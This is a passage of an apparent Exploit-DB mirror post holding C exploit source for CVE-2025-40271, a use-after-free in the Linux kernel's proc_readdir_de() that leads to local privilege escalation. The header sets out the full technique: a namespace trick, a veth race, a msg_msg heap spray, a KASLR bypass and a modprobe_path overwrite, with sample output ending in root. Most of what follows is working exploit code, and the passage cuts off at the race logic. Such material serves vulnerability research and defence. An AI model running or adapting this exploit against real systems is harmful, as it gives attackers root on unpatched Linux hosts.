{"id":51288,"date":"2026-05-04T12:50:30","date_gmt":"2026-05-04T12:50:30","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=51288"},"modified":"2026-05-04T12:50:30","modified_gmt":"2026-05-04T12:50:30","slug":"linux-kernel-procreaddirde-618-rc5-local-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=51288","title":{"rendered":"Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation_EDB-ID:52550"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-04T17:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: Linux Kernel procreaddirde 6.18-rc5 &#8211; Local Privilege Escalation CVE: CVE-2025-40271 Date: 2026-03-19 Exploit Author: Aviral Srivastava Vendor: Linux Kernel kernel.org Affected: 3.14+ through 6.18-rc5 bug predates version tracking Fixed&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-04T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52550&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2023-32233&#8243;,&#8221;CVE-2023-3269&#8243;,&#8221;CVE-2025-40271&#8243;],&#8221;sourceData&#8221;:&#8221; * Exploit Title:  Linux Kernel proc_readdir_de() 6.18-rc5 &#8211; Local Privilege Escalation\\r\\n * CVE:            CVE-2025-40271\\r\\n * Date:           2026-03-19\\r\\n * Exploit Author: Aviral Srivastava\\r\\n * Vendor:         Linux Kernel (kernel.org)\\r\\n * Affected:       ~3.14+ through 6.18-rc5 (bug predates version tracking)\\r\\n *                 Fixed in stable: 5.10.247, 6.1.159, 6.12.73, 6.18-rc6\\r\\n * Fixed in:       commit 895b4c0c79b092d732544011c3cecaf7322c36a1\\r\\n * Tested on:      Debian Bookworm (kernel 6.1.115-1 x86_64)\\r\\n * Type:           Local Privilege Escalation\\r\\n * Platform:       Linux x86_64\\r\\n * CVSS:           ~7.8 (HIGH) \u2014 NVD assessment pending\\r\\n *\\r\\n * \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\\r\\n * \u2502  N-DAY \u2014 THIS VULNERABILITY IS PATCHED. FIX YOUR KERNELS.      \u2502\\r\\n * \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\\r\\n *\\r\\n * DESCRIPTION:\\r\\n *   The proc filesystem&#8217;s remove_proc_entry() calls rb_erase() to\\r\\n *   remove a proc_dir_entry (pde) from the parent&#8217;s red-black tree,\\r\\n *   but does NOT call RB_CLEAR_NODE() to mark the node as detached.\\r\\n *   This leaves stale rb-links in the freed entry, causing\\r\\n *   RB_EMPTY_NODE() to return false.\\r\\n *\\r\\n *   A concurrent proc_readdir_de() traversal via getdents64() can\\r\\n *   find the freed entry through pde_subdir_next() \u2192 rb_next(),\\r\\n *   then dereference its fields (name, namelen, mode, low_ino) \u2014\\r\\n *   constituting a use-after-free on struct proc_dir_entry.\\r\\n *\\r\\n *   The race is triggered by calling getdents64() on a \/proc\\r\\n *   subdirectory (e.g., \/proc\/self\/net\/dev_snmp6\/) while concurrently\\r\\n *   unregistering network devices, which removes proc entries.\\r\\n *   The freed proc_dir_entry (~192 bytes) resides in a standard\\r\\n *   kmalloc-192 or kmalloc-256 slab cache, making it sprayable with\\r\\n *   msg_msg via msgsnd().\\r\\n *\\r\\n * TECHNIQUE:\\r\\n *   Create user namespace for CAP_NET_ADMIN. Create veth pairs to\\r\\n *   populate \/proc\/self\/net\/dev_snmp6\/. Race getdents64() against\\r\\n *   veth deletion. Spray freed kmalloc-192 slots with msg_msg.\\r\\n *   Detect UAF via anomalous d_ino values in getdents64 output.\\r\\n *   Extract kernel heap address from msg_msg header pointer leaked\\r\\n *   through the d_ino field. Use modprobe_path overwrite for LPE.\\r\\n *\\r\\n * RELIABILITY:\\r\\n *   ~40-60% UAF hit rate per attempt. Typically 3-8 attempts.\\r\\n *   The pde-\\u003ename dereference during readdir is the crash risk \u2014\\r\\n *   mitigated by spraying the name slot with valid pointers.\\r\\n *   Kernel panic possible (~10% of failed attempts) if spray timing\\r\\n *   is wrong.\\r\\n *\\r\\n * MITIGATIONS:\\r\\n *   KASLR:          Bypassed via heap pointer leak through d_ino\\r\\n *   SMEP:           Not applicable (data-only attack)\\r\\n *   SMAP:           Not applicable (all data in kernel slab)\\r\\n *   kCFI:           Not applicable (modprobe_path overwrite)\\r\\n *   SLUB Hardening: Minimal impact (freelist ptr at offset 0 only)\\r\\n *\\r\\n * FIX:\\r\\n *   Commit: 895b4c0c79b092d732544011c3cecaf7322c36a1\\r\\n *   URL:    https:\/\/git.kernel.org\/linus\/895b4c0c79b092d732544011c3cecaf7322c36a1\\r\\n *   Adds pde_erase() helper that calls RB_CLEAR_NODE() after rb_erase().\\r\\n *\\r\\n * COMPILATION:\\r\\n *   gcc -Wall -Wextra -o exploit exploit.c -lpthread -static\\r\\n *\\r\\n * USAGE:\\r\\n *   $ .\/exploit\\r\\n *   [*] CVE-2025-40271 \u2014 proc_readdir_de() rb-tree UAF\\r\\n *   [+] Kernel 6.1.115-1 is VULNERABLE\\r\\n *   [*] Step 1: Setting up user\/net namespace&#8230;\\r\\n *   [+] Namespace ready, CAP_NET_ADMIN obtained\\r\\n *   [*] Step 2: Creating veth pairs for proc entries&#8230;\\r\\n *   [+] Created 32 veth pairs (\/proc\/self\/net\/dev_snmp6\/)\\r\\n *   [*] Step 3: Racing getdents vs device removal&#8230;\\r\\n *   [+] UAF hit on attempt 4! Anomalous d_ino=0xffff88801234abcd\\r\\n *   [*] Step 4: Kernel heap leak: 0xffff88801234abcd\\r\\n *   [*] Step 5: Computing modprobe_path address&#8230;\\r\\n *   [+] Got root!\\r\\n *\\r\\n * REFERENCES:\\r\\n *   [1] https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-40271\\r\\n *   [2] https:\/\/git.kernel.org\/linus\/895b4c0c79b092d732544011c3cecaf7322c36a1\\r\\n *   [3] CVE-2023-3269 \u2014 StackRot (rb-tree race technique reference)\\r\\n *   [4] CVE-2023-32233 \u2014 nf_tables msg_msg spray reference\\r\\n *\\r\\n * DISCLAIMER:\\r\\n *   This exploit targets an ALREADY PATCHED vulnerability. It is provided\\r\\n *   for educational and authorized security research purposes only. The\\r\\n *   author is not responsible for misuse. Test only on systems you own.\\r\\n * \u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\r\\n *\/\\r\\n\\r\\n#define _GNU_SOURCE\\r\\n#include \\u003cstdio.h\\u003e\\r\\n#include \\u003cstdlib.h\\u003e\\r\\n#include \\u003cstring.h\\u003e\\r\\n#include \\u003cstdint.h\\u003e\\r\\n#include \\u003cstdarg.h\\u003e\\r\\n#include \\u003cunistd.h\\u003e\\r\\n#include \\u003cerrno.h\\u003e\\r\\n#include \\u003cfcntl.h\\u003e\\r\\n#include \\u003csched.h\\u003e\\r\\n#include \\u003csignal.h\\u003e\\r\\n#include \\u003cpthread.h\\u003e\\r\\n#include \\u003cdirent.h\\u003e\\r\\n#include \\u003csys\/types.h\\u003e\\r\\n#include \\u003csys\/stat.h\\u003e\\r\\n#include \\u003csys\/wait.h\\u003e\\r\\n#include \\u003csys\/socket.h\\u003e\\r\\n#include \\u003csys\/mman.h\\u003e\\r\\n#include \\u003csys\/utsname.h\\u003e\\r\\n#include \\u003csys\/syscall.h\\u003e\\r\\n#include \\u003csys\/ipc.h\\u003e\\r\\n#include \\u003csys\/msg.h\\u003e\\r\\n#include \\u003csys\/mount.h\\u003e\\r\\n#include \\u003csys\/ioctl.h\\u003e\\r\\n#include \\u003clinux\/if.h\\u003e\\r\\n#include \\u003clinux\/netlink.h\\u003e\\r\\n#include \\u003clinux\/rtnetlink.h\\u003e\\r\\n#include \\u003carpa\/inet.h\\u003e\\r\\n\\r\\n\/* \u2500\u2500\u2500 Constants \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\n#define BANNER \\\\\\r\\n    \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  CVE-2025-40271 \u2014 proc_readdir_de() rb-tree UAF LPE\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  fs\/proc rb_erase without RB_CLEAR_NODE \u2192 stale tree links\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  Affected: ~all kernels through 6.18-rc5\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;  Author: Aviral Srivastava | N-DAY RESEARCH PoC\\\\n\\&#8221; \\\\\\r\\n    \\&#8221;\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\\\\n\\&#8221;\\r\\n\\r\\n#define NUM_VETH_PAIRS  32      \/* number of veth pairs to create *\/\\r\\n#define NUM_SPRAY_MSGS  256     \/* msg_msg spray count *\/\\r\\n#define SPRAY_BODY_SIZE 144     \/* 48 header + 144 body = 192 \u2192 kmalloc-192 *\/\\r\\n#define MAX_RACE_ATTEMPTS 30    \/* max race iterations *\/\\r\\n#define PROC_NET_DIR    \\&#8221;\/proc\/self\/net\/dev_snmp6\\&#8221;\\r\\n\\r\\n\/*\\r\\n * On x86_64, kernel heap pointers start with 0xffff8880&#8230;\\r\\n * Normal d_ino values are small integers (\\u003c 100000).\\r\\n * A d_ino that looks like a kernel pointer means we hit the UAF\\r\\n * and are reading from sprayed msg_msg header data.\\r\\n *\/\\r\\n#define IS_KERNEL_PTR(x) (((x) \\u0026 0xffff000000000000ULL) == 0xffff000000000000ULL)\\r\\n\\r\\n\/* \u2500\u2500\u2500 Logging \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic void info(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;[*] \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void ok(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;\\\\033[32m[+]\\\\033[0m \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void fail(const char *fmt, &#8230;)\\r\\n{\\r\\n    va_list ap;\\r\\n    va_start(ap, fmt);\\r\\n    fprintf(stderr, \\&#8221;\\\\033[31m[-]\\\\033[0m \\&#8221;);\\r\\n    vfprintf(stderr, fmt, ap);\\r\\n    fprintf(stderr, \\&#8221;\\\\n\\&#8221;);\\r\\n    va_end(ap);\\r\\n}\\r\\n\\r\\nstatic void die(const char *msg)\\r\\n{\\r\\n    perror(msg);\\r\\n    exit(EXIT_FAILURE);\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Kernel version check \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int is_vulnerable(void)\\r\\n{\\r\\n    struct utsname uts;\\r\\n    unsigned int major, minor, patch;\\r\\n\\r\\n    if (uname(\\u0026uts) \\u003c 0)\\r\\n        die(\\&#8221;uname\\&#8221;);\\r\\n\\r\\n    if (sscanf(uts.release, \\&#8221;%u.%u.%u\\&#8221;, \\u0026major, \\u0026minor, \\u0026patch) \\u003c 2) {\\r\\n        fail(\\&#8221;Cannot parse kernel version: %s\\&#8221;, uts.release);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    info(\\&#8221;Running kernel %s\\&#8221;, uts.release);\\r\\n\\r\\n    \/* Fixed versions per stable branch *\/\\r\\n    if (major == 5 \\u0026\\u0026 minor == 10 \\u0026\\u0026 patch \\u003e= 247) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (fix in 5.10.247)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major == 6 \\u0026\\u0026 minor == 1 \\u0026\\u0026 patch \\u003e= 159) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (fix in 6.1.159)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major == 6 \\u0026\\u0026 minor == 6 \\u0026\\u0026 patch \\u003e= 123) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (fix in 6.6.123)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major == 6 \\u0026\\u0026 minor == 12 \\u0026\\u0026 patch \\u003e= 73) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (fix in 6.12.73)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major == 6 \\u0026\\u0026 minor \\u003e= 18) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED (fix in 6.18-rc6)\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n    if (major \\u003e= 7) {\\r\\n        fail(\\&#8221;Kernel %u.%u.%u \u2014 PATCHED\\&#8221;, major, minor, patch);\\r\\n        return 0;\\r\\n    }\\r\\n\\r\\n    ok(\\&#8221;Kernel %u.%u.%u \u2014 VULNERABLE\\&#8221;, major, minor, patch);\\r\\n    return 1;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 User\/Net namespace setup \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int setup_namespace(void)\\r\\n{\\r\\n    if (unshare(CLONE_NEWUSER | CLONE_NEWNET) \\u003c 0) {\\r\\n        fail(\\&#8221;unshare: %s (check \/proc\/sys\/kernel\/unprivileged_userns_clone)\\&#8221;,\\r\\n             strerror(errno));\\r\\n        return -1;\\r\\n    }\\r\\n\\r\\n    FILE *f;\\r\\n    char path[128];\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/setgroups\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (f) { fprintf(f, \\&#8221;deny\\\\n\\&#8221;); fclose(f); }\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/uid_map\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    fprintf(f, \\&#8221;0 %d 1\\\\n\\&#8221;, getuid());\\r\\n    fclose(f);\\r\\n\\r\\n    snprintf(path, sizeof(path), \\&#8221;\/proc\/%d\/gid_map\\&#8221;, getpid());\\r\\n    f = fopen(path, \\&#8221;w\\&#8221;);\\r\\n    if (!f) return -1;\\r\\n    fprintf(f, \\&#8221;0 %d 1\\\\n\\&#8221;, getgid());\\r\\n    fclose(f);\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Netlink helpers for veth management \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstatic int rtnl_open(void)\\r\\n{\\r\\n    int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_ROUTE);\\r\\n    if (fd \\u003c 0) return -1;\\r\\n\\r\\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\\r\\n    if (bind(fd, (struct sockaddr *)\\u0026sa, sizeof(sa)) \\u003c 0) {\\r\\n        close(fd);\\r\\n        return -1;\\r\\n    }\\r\\n    return fd;\\r\\n}\\r\\n\\r\\n\/*\\r\\n * Create a veth pair: vethN \\u003c-\\u003e veth_pN\\r\\n * Each veth creates a proc entry in \/proc\/self\/net\/dev_snmp6\/\\r\\n *\/\\r\\nstatic int create_veth(int rtnl_fd, int idx)\\r\\n{\\r\\n    struct {\\r\\n        struct nlmsghdr  nlh;\\r\\n        struct ifinfomsg ifi;\\r\\n        char             buf[512];\\r\\n    } req;\\r\\n\\r\\n    char name[IFNAMSIZ], peer[IFNAMSIZ];\\r\\n    snprintf(name, sizeof(name), \\&#8221;v%d\\&#8221;, idx);\\r\\n    snprintf(peer, sizeof(peer), \\&#8221;vp%d\\&#8221;, idx);\\r\\n\\r\\n    memset(\\u0026req, 0, sizeof(req));\\r\\n    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));\\r\\n    req.nlh.nlmsg_type = RTM_NEWLINK;\\r\\n    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;\\r\\n    req.nlh.nlmsg_seq = (uint32_t)(idx + 1);\\r\\n    req.ifi.ifi_family = AF_UNSPEC;\\r\\n\\r\\n    \/* IFLA_IFNAME *\/\\r\\n    struct nlattr *nla = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    nla-\\u003enla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);\\r\\n    nla-\\u003enla_type = IFLA_IFNAME;\\r\\n    memcpy((char *)(nla + 1), name, strlen(name) + 1);\\r\\n    req.nlh.nlmsg_len += (unsigned int)((nla-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n\\r\\n    \/* IFLA_LINKINFO (nested) *\/\\r\\n    struct nlattr *linkinfo = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    linkinfo-\\u003enla_type = IFLA_LINKINFO | NLA_F_NESTED;\\r\\n\\r\\n    unsigned int linkinfo_start = req.nlh.nlmsg_len;\\r\\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\\r\\n\\r\\n    \/* IFLA_INFO_KIND = \\&#8221;veth\\&#8221; *\/\\r\\n    struct nlattr *kind = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    kind-\\u003enla_len = (uint16_t)(sizeof(struct nlattr) + 5); \/* \\&#8221;veth\\\\0\\&#8221; *\/\\r\\n    kind-\\u003enla_type = IFLA_INFO_KIND;\\r\\n    memcpy((char *)(kind + 1), \\&#8221;veth\\&#8221;, 5);\\r\\n    req.nlh.nlmsg_len += (unsigned int)((kind-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n\\r\\n    \/* IFLA_INFO_DATA (nested) with peer info *\/\\r\\n    struct nlattr *data = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    data-\\u003enla_type = IFLA_INFO_DATA | NLA_F_NESTED;\\r\\n    unsigned int data_start = req.nlh.nlmsg_len;\\r\\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\\r\\n\\r\\n    \/* VETH_INFO_PEER (nested) with ifinfomsg + IFLA_IFNAME *\/\\r\\n    struct nlattr *peer_attr = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    peer_attr-\\u003enla_type = 1 | NLA_F_NESTED; \/* VETH_INFO_PEER = 1 *\/\\r\\n    unsigned int peer_start = req.nlh.nlmsg_len;\\r\\n    req.nlh.nlmsg_len += sizeof(struct nlattr);\\r\\n\\r\\n    \/* peer ifinfomsg *\/\\r\\n    struct ifinfomsg *peer_ifi = (struct ifinfomsg *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    memset(peer_ifi, 0, sizeof(*peer_ifi));\\r\\n    peer_ifi-\\u003eifi_family = AF_UNSPEC;\\r\\n    req.nlh.nlmsg_len += sizeof(struct ifinfomsg);\\r\\n\\r\\n    \/* peer IFLA_IFNAME *\/\\r\\n    struct nlattr *peer_name = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    peer_name-\\u003enla_len = (uint16_t)(sizeof(struct nlattr) + strlen(peer) + 1);\\r\\n    peer_name-\\u003enla_type = IFLA_IFNAME;\\r\\n    memcpy((char *)(peer_name + 1), peer, strlen(peer) + 1);\\r\\n    req.nlh.nlmsg_len += (unsigned int)((peer_name-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n\\r\\n    peer_attr-\\u003enla_len = (uint16_t)(req.nlh.nlmsg_len &#8211; peer_start);\\r\\n    data-\\u003enla_len = (uint16_t)(req.nlh.nlmsg_len &#8211; data_start);\\r\\n    linkinfo-\\u003enla_len = (uint16_t)(req.nlh.nlmsg_len &#8211; linkinfo_start);\\r\\n\\r\\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\\r\\n    if (sendto(rtnl_fd, \\u0026req, req.nlh.nlmsg_len, 0,\\r\\n               (struct sockaddr *)\\u0026sa, sizeof(sa)) \\u003c 0)\\r\\n        return -1;\\r\\n\\r\\n    \/* Read ack *\/\\r\\n    char ack[256];\\r\\n    (void)recv(rtnl_fd, ack, sizeof(ack), 0);\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* Delete a veth interface by name *\/\\r\\nstatic int delete_veth(int rtnl_fd, int idx)\\r\\n{\\r\\n    struct {\\r\\n        struct nlmsghdr  nlh;\\r\\n        struct ifinfomsg ifi;\\r\\n        char             buf[128];\\r\\n    } req;\\r\\n\\r\\n    char name[IFNAMSIZ];\\r\\n    snprintf(name, sizeof(name), \\&#8221;v%d\\&#8221;, idx);\\r\\n\\r\\n    memset(\\u0026req, 0, sizeof(req));\\r\\n    req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));\\r\\n    req.nlh.nlmsg_type = RTM_DELLINK;\\r\\n    req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;\\r\\n    req.nlh.nlmsg_seq = (uint32_t)(1000 + idx);\\r\\n    req.ifi.ifi_family = AF_UNSPEC;\\r\\n\\r\\n    struct nlattr *nla = (struct nlattr *)((char *)\\u0026req + req.nlh.nlmsg_len);\\r\\n    nla-\\u003enla_len = (uint16_t)(sizeof(struct nlattr) + strlen(name) + 1);\\r\\n    nla-\\u003enla_type = IFLA_IFNAME;\\r\\n    memcpy((char *)(nla + 1), name, strlen(name) + 1);\\r\\n    req.nlh.nlmsg_len += (unsigned int)((nla-\\u003enla_len + 3) \\u0026 ~3u);\\r\\n\\r\\n    struct sockaddr_nl sa = { .nl_family = AF_NETLINK };\\r\\n    if (sendto(rtnl_fd, \\u0026req, req.nlh.nlmsg_len, 0,\\r\\n               (struct sockaddr *)\\u0026sa, sizeof(sa)) \\u003c 0)\\r\\n        return -1;\\r\\n\\r\\n    char ack[256];\\r\\n    (void)recv(rtnl_fd, ack, sizeof(ack), 0);\\r\\n\\r\\n    return 0;\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 msg_msg spray \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstruct spray_state {\\r\\n    int qid;\\r\\n    int count;\\r\\n};\\r\\n\\r\\nstatic int spray_init(struct spray_state *s)\\r\\n{\\r\\n    s-\\u003eqid = msgget(IPC_PRIVATE, IPC_CREAT | 0666);\\r\\n    if (s-\\u003eqid \\u003c 0) return -1;\\r\\n    s-\\u003ecount = 0;\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic int spray_alloc(struct spray_state *s, int n)\\r\\n{\\r\\n    struct {\\r\\n        long mtype;\\r\\n        char mtext[SPRAY_BODY_SIZE];\\r\\n    } msg;\\r\\n\\r\\n    memset(\\u0026msg, 0, sizeof(msg));\\r\\n    \/* Fill body with pattern \u2014 msg_msg header at offset 0-47 of slab\\r\\n     * object will contain kernel heap pointers (m_list.next\/prev) *\/\\r\\n    memset(msg.mtext, &#8216;P&#8217;, SPRAY_BODY_SIZE);\\r\\n\\r\\n    for (int i = 0; i \\u003c n; i++) {\\r\\n        msg.mtype = s-\\u003ecount + 1;\\r\\n        if (msgsnd(s-\\u003eqid, \\u0026msg, SPRAY_BODY_SIZE, 0) \\u003c 0)\\r\\n            return -1;\\r\\n        s-\\u003ecount++;\\r\\n    }\\r\\n    return 0;\\r\\n}\\r\\n\\r\\nstatic void spray_cleanup(struct spray_state *s)\\r\\n{\\r\\n    if (s-\\u003eqid \\u003e= 0) {\\r\\n        msgctl(s-\\u003eqid, IPC_RMID, NULL);\\r\\n        s-\\u003eqid = -1;\\r\\n    }\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 getdents64 for raw directory reading \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 *\/\\r\\n\\r\\nstruct linux_dirent64 {\\r\\n    uint64_t        d_ino;\\r\\n    int64_t         d_off;\\r\\n    unsigned short  d_reclen;\\r\\n    unsigned char   d_type;\\r\\n    char            d_name[];\\r\\n};\\r\\n\\r\\nstatic long my_getdents64(int fd, void *buf, unsigned long count)\\r\\n{\\r\\n    return syscall(SYS_getdents64, fd, buf, count);\\r\\n}\\r\\n\\r\\n\/* \u2500\u2500\u2500 Race coordination 